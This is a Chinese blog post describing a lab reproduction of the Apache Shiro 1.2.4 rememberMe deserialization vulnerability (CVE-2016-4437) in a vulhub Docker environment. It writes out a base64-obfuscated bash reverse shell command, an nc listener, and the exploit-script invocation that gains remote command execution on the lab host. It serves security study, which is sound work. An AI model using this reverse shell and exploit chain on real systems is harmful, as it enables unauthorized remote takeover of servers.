Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
漏洞环境
执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516074531222-816523290.png)
服务启动后,访问http://your-ip:8080
可使用admin:vulhub
进行登录。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516074531239-2097792946.png)
漏洞复现
手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用使用python脚本进行验证
shiro_exploit.py
- 脚本下载地址:https://github.com/insightglacier/Shiro_exploit
- 基于python3
- jdk1.8
执行反弹shell
对反弹shell语句进行加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
开启监听
nc -lvvp 9999
执行反弹语句
python3 shiro_exploit.py -t 3 -u http://192.168.75.130:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
接收反弹shell
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220516074531224-874357941.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16275589.html